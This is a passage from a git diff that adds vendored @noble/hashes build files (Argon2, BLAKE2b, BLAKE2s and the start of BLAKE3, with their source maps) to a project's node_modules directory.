blake2b(V)).subarray(0, 32), pos); + // Last block + out.set(blake2b(V, { dkLen: dkLen - pos }), pos); + return u32(out); +} +function indexAlpha(r, s, laneLen, segmentLen, index, randL, sameLane = false) { + let area; + if (0 == r) { + if (0 == s) + area = index - 1; + else if (sameLane) + area = s * segmentLen + index - 1; + else + area = s * segmentLen + (index == 0 ? -1 : 0); + } + else if (sameLane) + area = laneLen - segmentLen + index - 1; + else + area = laneLen - segmentLen + (index == 0 ? -1 : 0); + const startPos = r !== 0 && s !== ARGON2_SYNC_POINTS - 1 ? (s + 1) * segmentLen : 0; + const rel = relPos(area, randL); + // NOTE: check about overflows here + // absPos = (startPos + relPos) % laneLength; + return (startPos + rel) % laneLen; +} +function argon2Init(type, password, salt, opts) { + password = toBytes(password); + salt = toBytes(salt); + let { p, dkLen, m, t, version, key, personalization, maxmem, onProgress } = { + ...opts, + version: opts.version || 0x13, + dkLen: opts.dkLen || 32, + maxmem: 2 ** 32, + }; + // Validation + assertNumber(p); + assertNumber(dkLen); + assertNumber(m); + assertNumber(t); + assertNumber(version); + if (dkLen < 4 || dkLen >= 2 ** 32) + throw new Error('Argon2: dkLen should be at least 4 bytes'); + if (p < 1 || p >= 2 ** 32) + throw new Error('Argon2: p (parallelism) should be at least 1'); + if (t < 1 || t >= 2 ** 32) + throw new Error('Argon2: t (iterations) should be at least 1'); + if (m < 8 * p) + throw new Error(`Argon2: memory should be at least 8*p bytes`); + if (version !== 16 && version !== 19) + throw new Error(`Argon2: unknown version=${version}`); + password = toBytes(password); + if (password.length < 0 || password.length >= 2 ** 32) + throw new Error('Argon2: password should be less than 4 GB'); + salt = toBytes(salt); + if (salt.length < 8) + throw new Error('Argon2: salt should be at least 8 bytes'); + key = toBytesOptional(key); + personalization = toBytesOptional(personalization); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + // Params + const lanes = p; + // m' = 4 * p * floor (m / 4p) + const mP = 4 * p * Math.floor(m / (ARGON2_SYNC_POINTS * p)); + //q = m' / p columns + const laneLen = Math.floor(mP / p); + const segmentLen = Math.floor(laneLen / ARGON2_SYNC_POINTS); + // H0 + const h = blake2b.create({}); + const BUF = new Uint32Array(1); + const BUF8 = u8(BUF); + for (const i of [p, dkLen, m, t, version, type]) { + if (i < 0 || i >= 2 ** 32) + throw new Error(`Argon2: wrong parameter=${i}, expected uint32`); + BUF[0] = i; + h.update(BUF8); + } + for (let i of [password, salt, key, personalization]) { + BUF[0] = i.length; + h.update(BUF8).update(i); + } + const H0 = new Uint32Array(18); + const H0_8 = u8(H0); + h.digestInto(H0_8); + // 256 u32 = 1024 (BLOCK_SIZE) + const memUsed = mP * 256; + if (memUsed < 0 || memUsed >= 2 ** 32 || memUsed > maxmem) { + throw new Error(`Argon2: wrong params (memUsed=${memUsed} maxmem=${maxmem}), should be less than 2**32`); + } + const B = new Uint32Array(memUsed); + // Fill first blocks + for (let l = 0; l < p; l++) { + const i = 256 * laneLen * l; + // B[i][0] = H'^(1024)(H_0 || LE32(0) || LE32(i)) + H0[17] = l; + H0[16] = 0; + B.set(Hp(H0, 1024), i); + // B[i][1] = H'^(1024)(H_0 || LE32(1) || LE32(i)) + H0[16] = 1; + B.set(Hp(H0, 1024), i + 256); + } + let perBlock = () => { }; + if (onProgress) { + const totalBlock = t * ARGON2_SYNC_POINTS * p * segmentLen; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlock / 10000), 1); + let blockCnt = 0; + perBlock = () => { + blockCnt++; + if (onProgress && (!(blockCnt % callbackPer) || blockCnt === totalBlock)) + onProgress(blockCnt / totalBlock); + }; + } + return { type, mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock }; +} +function argon2Output(B, p, laneLen, dkLen) { + const B_final = new Uint32Array(256); + for (let l = 0; l < p; l++) + for (let j = 0; j < 256; j++) + B_final[j] ^= B[256 * (laneLen * l + laneLen - 1) + j]; + return u8(Hp(B_final, dkLen)); +} +function processBlock(B, address, l, r, s, index, laneLen, segmentLen, lanes, offset, prev, dataIndependent, needXor) { + if (offset % laneLen) + prev = offset - 1; + let randL, randH; + if (dataIndependent) { + if (index % 128 === 0) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + randL = address[2 * (index % 128)]; + randH = address[2 * (index % 128) + 1]; + } + else { + const T = 256 * prev; + randL = B[T]; + randH = B[T + 1]; + } + // address block + const refLane = r === 0 && s === 0 ? l : randH % lanes; + const refPos = indexAlpha(r, s, laneLen, segmentLen, index, randL, refLane == l); + const refBlock = laneLen * refLane + refPos; + // B[i][j] = G(B[i][j-1], B[l][z]) + block(B, 256 * prev, 256 * refBlock, offset * 256, needXor); +} +function argon2(type, password, salt, opts) { + const { mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock } = argon2Init(type, password, salt, opts); + // Pre-loop setup + // [address, input, zero_block] format so we can pass single U32 to block function + const address = new Uint32Array(3 * 256); + address[256 + 6] = mP; + address[256 + 8] = t; + address[256 + 10] = type; + for (let r = 0; r < t; r++) { + const needXor = r !== 0 && version === 0x13; + address[256 + 0] = r; + for (let s = 0; s < ARGON2_SYNC_POINTS; s++) { + address[256 + 4] = s; + const dataIndependent = type == 1 /* Types.Argon2i */ || (type == 2 /* Types.Argon2id */ && r === 0 && s < 2); + for (let l = 0; l < p; l++) { + address[256 + 2] = l; + address[256 + 12] = 0; + let startPos = 0; + if (r === 0 && s === 0) { + startPos = 2; + if (dataIndependent) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + } + // current block postion + let offset = l * laneLen + s * segmentLen + startPos; + // previous block position + let prev = offset % laneLen ? offset - 1 : offset + laneLen - 1; + for (let index = startPos; index < segmentLen; index++, offset++, prev++) { + perBlock(); + processBlock(B, address, l, r, s, index, laneLen, segmentLen, lanes, offset, prev, dataIndependent, needXor); + } + } + } + } + return argon2Output(B, p, laneLen, dkLen); +} +export const argon2d = (password, salt, opts) => argon2(0 /* Types.Argond2d */, password, salt, opts); +export const argon2i = (password, salt, opts) => argon2(1 /* Types.Argon2i */, password, salt, opts); +export const argon2id = (password, salt, opts) => argon2(2 /* Types.Argon2id */, password, salt, opts); +//# sourceMappingURL=argon2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/argon2.js.map b/node_modules/@noble/hashes/esm/argon2.js.map new file mode 100644 index 000000000000..267eb62f69d5 --- /dev/null +++ b/node_modules/@noble/hashes/esm/argon2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"argon2.js","sourceRoot":"","sources":["../src/argon2.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,YAAY,EAAE,MAAM,cAAc,CAAC;AACtD,OAAO,EAAS,OAAO,EAAE,EAAE,EAAE,GAAG,EAAE,MAAM,YAAY,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAS3F,MAAM,kBAAkB,GAAG,CAAC,CAAC;AAE7B,MAAM,eAAe,GAAG,CAAC,GAAW,EAAE,EAAE,CAAC,CAAC,GAAG,KAAK,SAAS,CAAC,CAAC,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC,CAAC;AAEjG,SAAS,GAAG,CAAC,CAAS,EAAE,CAAS;IAC/B,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC;IACtB,MAAM,EAAE,GAAG,CAAC,KAAK,EAAE,CAAC;IACpB,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC;IACtB,MAAM,EAAE,GAAG,CAAC,KAAK,EAAE,CAAC;IACpB,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC;IAC7B,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC;IAC7B,MAAM,EAAE,GAAG,IAAI,CAAC,IAA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O,CACR,CAAC;iBACH;aACF;SACF;KACF;IACD,OAAO,YAAY,CAAC,CAAC,EAAE,CAAC,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,CAAC,MAAM,OAAO,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACvE,MAAM,yBAAiB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AAC/C,MAAM,CAAC,MAAM,OAAO,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACvE,MAAM,wBAAgB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AAC9C,MAAM,CAAC,MAAM,QAAQ,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACxE,MAAM,yBAAiB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/blake2b.js b/node_modules/@noble/hashes/esm/blake2b.js new file mode 100644 index 000000000000..29cecc5adfdb --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake2b.js @@ -0,0 +1,189 @@ +import { BLAKE2, SIGMA } from './_blake2.js'; +import u64 from './_u64.js'; +import { toBytes, u32, wrapConstructorWithOpts } from './utils.js'; +// Same as SHA-512 but LE +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0xf3bcc908, 0x6a09e667, 0x84caa73b, 0xbb67ae85, 0xfe94f82b, 0x3c6ef372, 0x5f1d36f1, 0xa54ff53a, + 0xade682d1, 0x510e527f, 0x2b3e6c1f, 0x9b05688c, 0xfb41bd6b, 0x1f83d9ab, 0x137e2179, 0x5be0cd19 +]); +// Temporary buffer +const BUF = /* @__PURE__ */ new Uint32Array(32); +// Mixing function G splitted in two halfs +function G1(a, b, c, d, msg, x) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = u64.add3L(Al, Bl, Xl); + Ah = u64.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 32) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: u64.rotr32H(Dh, Dl), Dl: u64.rotr32L(Dh, Dl) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = u64.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 24) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: u64.rotrSH(Bh, Bl, 24), Bl: u64.rotrSL(Bh, Bl, 24) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +function G2(a, b, c, d, msg, x) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = u64.add3L(Al, Bl, Xl); + Ah = u64.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 16) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: u64.rotrSH(Dh, Dl, 16), Dl: u64.rotrSL(Dh, Dl, 16) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = u64.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 63) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: u64.rotrBH(Bh, Bl, 63), Bl: u64.rotrBL(Bh, Bl, 63) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +class BLAKE2b extends BLAKE2 { + constructor(opts = {}) { + super(128, opts.dkLen === undefined ? 64 : opts.dkLen, opts, 64, 16, 16); + // Same as SHA-512, but LE + this.v0l = IV[0] | 0; + this.v0h = IV[1] | 0; + this.v1l = IV[2] | 0; + this.v1h = IV[3] | 0; + this.v2l = IV[4] | 0; + this.v2h = IV[5] | 0; + this.v3l = IV[6] | 0; + this.v3h = IV[7] | 0; + this.v4l = IV[8] | 0; + this.v4h = IV[9] | 0; + this.v5l = IV[10] | 0; + this.v5h = IV[11] | 0; + this.v6l = IV[12] | 0; + this.v6h = IV[13] | 0; + this.v7l = IV[14] | 0; + this.v7h = IV[15] | 0; + const keyLength = opts.key ? opts.key.length : 0; + this.v0l ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = u32(toBytes(opts.salt)); + this.v4l ^= salt[0]; + this.v4h ^= salt[1]; + this.v5l ^= salt[2]; + this.v5h ^= salt[3]; + } + if (opts.personalization) { + const pers = u32(toBytes(opts.personalization)); + this.v6l ^= pers[0]; + this.v6h ^= pers[1]; + this.v7l ^= pers[2]; + this.v7h ^= pers[3]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set(toBytes(opts.key)); + this.update(tmp); + } + } + // prettier-ignore + get() { + let { v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h } = this; + return [v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h]; + } + // prettier-ignore + set(v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h) { + this.v0l = v0l | 0; + this.v0h = v0h | 0; + this.v1l = v1l | 0; + this.v1h = v1h | 0; + this.v2l = v2l | 0; + this.v2h = v2h | 0; + this.v3l = v3l | 0; + this.v3h = v3h | 0; + this.v4l = v4l | 0; + this.v4h = v4h | 0; + this.v5l = v5l | 0; + this.v5h = v5h | 0; + this.v6l = v6l | 0; + this.v6h = v6h | 0; + this.v7l = v7l | 0; + this.v7h = v7h | 0; + } + compress(msg, offset, isLast) { + this.get().forEach((v, i) => (BUF[i] = v)); // First half from state. + BUF.set(IV, 16); // Second half from IV. + let { h, l } = u64.fromBig(BigInt(this.length)); + BUF[24] = IV[8] ^ l; // Low word of the offset. + BUF[25] = IV[9] ^ h; // High word. + // Invert all bits for last block + if (isLast) { + BUF[28] = ~BUF[28]; + BUF[29] = ~BUF[29]; + } + let j = 0; + const s = SIGMA; + for (let i = 0; i < 12; i++) { + G1(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G2(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G1(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G2(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G1(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G2(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G1(3, 7, 11, 15, msg, offset + 2 * s[j++]); + G2(3, 7, 11, 15, msg, offset + 2 * s[j++]); + G1(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G2(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G1(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G2(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G1(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G2(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G1(3, 4, 9, 14, msg, offset + 2 * s[j++]); + G2(3, 4, 9, 14, msg, offset + 2 * s[j++]); + } + this.v0l ^= BUF[0] ^ BUF[16]; + this.v0h ^= BUF[1] ^ BUF[17]; + this.v1l ^= BUF[2] ^ BUF[18]; + this.v1h ^= BUF[3] ^ BUF[19]; + this.v2l ^= BUF[4] ^ BUF[20]; + this.v2h ^= BUF[5] ^ BUF[21]; + this.v3l ^= BUF[6] ^ BUF[22]; + this.v3h ^= BUF[7] ^ BUF[23]; + this.v4l ^= BUF[8] ^ BUF[24]; + this.v4h ^= BUF[9] ^ BUF[25]; + this.v5l ^= BUF[10] ^ BUF[26]; + this.v5h ^= BUF[11] ^ BUF[27]; + this.v6l ^= BUF[12] ^ BUF[28]; + this.v6h ^= BUF[13] ^ BUF[29]; + this.v7l ^= BUF[14] ^ BUF[30]; + this.v7h ^= BUF[15] ^ BUF[31]; + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +/** + * BLAKE2b - optimized for 64-bit platforms. JS doesn't have uint64, so it's slower than BLAKE2s. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export const blake2b = /* @__PURE__ */ wrapConstructorWithOpts((opts) => new BLAKE2b(opts)); +//# sourceMappingURL=blake2b.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/blake2b.js.map b/node_modules/@noble/hashes/esm/blake2b.js.map new file mode 100644 index 000000000000..a44878677913 --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake2b.js.map @@ -0,0 +1 @@ +{"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AAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACtB,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;IAC3D,CAAC;CACF;AAED;;;;GAIG;AACH,MAAM,CAAC,MAAM,OAAO,GAAG,eAAe,CAAC,uBAAuB,CAC5D,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,OAAO,CAAC,IAAI,CAAC,CAC5B,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/blake2s.js b/node_modules/@noble/hashes/esm/blake2s.js new file mode 100644 index 000000000000..5c649914078e --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake2s.js @@ -0,0 +1,118 @@ +import { BLAKE2, SIGMA } from './_blake2.js'; +import { fromBig } from './_u64.js'; +import { rotr, toBytes, wrapConstructorWithOpts, u32 } from './utils.js'; +// Initial state: +// first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19) +// same as SHA-256 +// prettier-ignore +export const IV = /* @__PURE__ */ new Uint32Array([0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]); +// Mixing function G splitted in two halfs +function G1(a, b, c, d, x) { + a = (a + b + x) | 0; + d = rotr(d ^ a, 16); + c = (c + d) | 0; + b = rotr(b ^ c, 12); + return { a, b, c, d }; +} +function G2(a, b, c, d, x) { + a = (a + b + x) | 0; + d = rotr(d ^ a, 8); + c = (c + d) | 0; + b = rotr(b ^ c, 7); + return { a, b, c, d }; +} +// prettier-ignore +export function compress(s, offset, msg, rounds, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15) { + let j = 0; + for (let i = 0; i < rounds; i++) { + ({ a: v0, b: v4, c: v8, d: v12 } = G1(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v0, b: v4, c: v8, d: v12 } = G2(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G1(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G2(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G1(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G2(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G1(v3, v7, v11, v15, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G2(v3, v7, v11, v15, msg[offset + s[j++]])); + ({ a: v0, b: v5, c: v10, d: v15 } = G1(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v0, b: v5, c: v10, d: v15 } = G2(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G1(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G2(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G1(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G2(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G1(v3, v4, v9, v14, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G2(v3, v4, v9, v14, msg[offset + s[j++]])); + } + return { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 }; +} +class BLAKE2s extends BLAKE2 { + constructor(opts = {}) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, opts, 32, 8, 8); + // Internal state, same as SHA-256 + this.v0 = IV[0] | 0; + this.v1 = IV[1] | 0; + this.v2 = IV[2] | 0; + this.v3 = IV[3] | 0; + this.v4 = IV[4] | 0; + this.v5 = IV[5] | 0; + this.v6 = IV[6] | 0; + this.v7 = IV[7] | 0; + const keyLength = opts.key ? opts.key.length : 0; + this.v0 ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = u32(toBytes(opts.salt)); + this.v4 ^= salt[0]; + this.v5 ^= salt[1]; + } + if (opts.personalization) { + const pers = u32(toBytes(opts.personalization)); + this.v6 ^= pers[0]; + this.v7 ^= pers[1]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set(toBytes(opts.key)); + this.update(tmp); + } + } + get() { + const { v0, v1, v2, v3, v4, v5, v6, v7 } = this; + return [v0, v1, v2, v3, v4, v5, v6, v7]; + } + // prettier-ignore + set(v0, v1, v2, v3, v4, v5, v6, v7) { + this.v0 = v0 | 0; + this.v1 = v1 | 0; + this.v2 = v2 | 0; + this.v3 = v3 | 0; + this.v4 = v4 | 0; + this.v5 = v5 | 0; + this.v6 = v6 | 0; + this.v7 = v7 | 0; + } + compress(msg, offset, isLast) { + const { h, l } = fromBig(BigInt(this.length)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = compress(SIGMA, offset, msg, 10, this.v0, this.v1, this.v2, this.v3, this.v4, this.v5, this.v6, this.v7, IV[0], IV[1], IV[2], IV[3], l ^ IV[4], h ^ IV[5], isLast ? ~IV[6] : IV[6], IV[7]); + this.v0 ^= v0 ^ v8; + this.v1 ^= v1 ^ v9; + this.v2 ^= v2 ^ v10; + this.v3 ^= v3 ^ v11; + this.v4 ^= v4 ^ v12; + this.v5 ^= v5 ^ v13; + this.v6 ^= v6 ^ v14; + this.v7 ^= v7 ^ v15; + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0); + } +} +/** + * BLAKE2s - optimized for 32-bit platforms. JS doesn't have uint64, so it's faster than BLAKE2b. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export const blake2s = /* @__PURE__ */ wrapConstructorWithOpts((opts) => new BLAKE2s(opts)); +//# sourceMappingURL=blake2s.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/blake2s.js.map b/node_modules/@noble/hashes/esm/blake2s.js.map new file mode 100644 index 000000000000..44cce786969c --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake2s.js.map @@ -0,0 +1 @@ +{"version":3,"file":"blake2s.js","sourceRoot":"","sources":["../src/blake2s.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,EAAa,KAAK,EAAE,MAAM,cAAc,CAAC;AACxD,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,EAAE,IAAI,EAAE,OAAO,EAAE,uBAAuB,EAAE,GAAG,EAAE,MAAM,YAAY,CAAC;AAEzE,iBAAiB;AACjB,yFAAyF;AACzF,kBAAkB;AAClB,kBAAkB;AAClB,MAAM,CAAC,MAAM,EAAE,GAAG,eAAe,CAAA,IAAI,WAAW,CAAC,CAAC,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,CAAC,CAAC,CAAC;AAEnJ,0CAA0C;AAC1C,SAAS,EAAE,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS;IAC/D,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IACpB,CAAC,GAAG,IAAI,CAAC,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC;IACpB,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IAChB,CAAC,GAAG,IAAI,CAAC,CAAC,GAAG,CAAC,EAAE,EAAE,CAA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ake3.js new file mode 100644 index 000000000000..af92963db427 --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake3.js @@ -0,0 +1,226 @@ +import { bytes, exists, number, output } from './_assert.js'; +import { fromBig } from './_u64.js'; +import { BLAKE2 } from './_blake2.js'; +import { compress, IV } from './blake2s.js'; +import { u8, u32, toBytes, wrapXOFConstructorWithOpts } from './utils.js'; +const SIGMA = /* @__PURE__ */ (() => { + const Id = Array.from({ length: 16 }, (_, i) => i); + const permute = (arr) => [2, 6, 3, 10, 7, 0, 4, 13, 1, 11, 12, 5, 9, 14, 15, 8].map((i) => arr[i]); + const res = []; + for (let i = 0, v = Id; i < 7; i++, v = permute(v)) + res.push(...v); + return Uint8Array.from(res); +})(); +// Why is this so slow? It should be 6x faster than blake2b. +// - There is only 30% reduction in number of rounds from blake2s +// - This function uses tree mode to achive parallelisation via SIMD and threading, +// however in JS we don't have threads and SIMD, so we get only overhead from tree structure +// - It is possible to speed it up via Web Workers, hovewer it will make code singnificantly more +// complicated, which we are trying to avoid, since this library is intended to be used +// for cryptographic purposes. Also, parallelization happens only on chunk level (1024 bytes), +// which won't really benefit small inputs. +class BLAKE3 extends BLAKE2 { + constructor(opts = {}, flags = 0) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, {}, Number.MAX_SAFE_INTEGER, 0, 0); + this.flags = 0 | 0; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + this.stack = []; + // Output + this.posOut = 0; + this.bufferOut32 = new Uint32Array(16); + this.chunkOut = 0; // index of output chunk + this.enableXOF = true; + this.outputLen = opts.dkLen === undefined ? 32 : opts.dkLen; + number(this.outputLen); + if (opts.key !== undefined && opts.context !== undefined) + throw new Error('Blake3: only key or context can be specified at same time'); + else if (opts.key !== undefined) { + const key = toBytes(opts.key).slice(); + if (key.length !== 32) + throw new Error('Blake3: key should be 32 byte'); + this.IV = u32(key); + this.flags = flags | 16 /* Flags.KEYED_HASH */; + } + else if (opts.context !== undefined) { + const context_key = new BLAKE3({ dkLen: 32 }, 32 /* Flags.DERIVE_KEY_CONTEXT */) + .update(opts.context) + .digest(); + this.IV = u32(context_key); + this.flags = flags | 64 /* Flags.DERIVE_KEY_MATERIAL */; + } + else { + this.IV = IV.slice(); + this.flags = flags; + } + this.state = this.IV.slice(); + this.bufferOut = u8(this.bufferOut32); + } + // Unused + get() { + return []; + } + set() { } + b2Compress(counter, flags, buf, bufPos = 0) { + const { state: s, pos } = this; + const { h, l } = fromBig(BigInt(counter), true); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = compress(SIGMA, bufPos, buf, 7, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], IV[0], IV[1], IV[2], IV[3], h, l, pos, flags); + s[0] = v0 ^ v8; + s[1] = v1 ^ v9; + s[2] = v2 ^ v10; + s[3] = v3 ^ v11; + s[4] = v4 ^ v12; + s[5] = v5 ^ v13; + s[6] = v6 ^ v14; + s[7] = v7 ^ v15; + } + compress(buf, bufPos = 0, isLast = 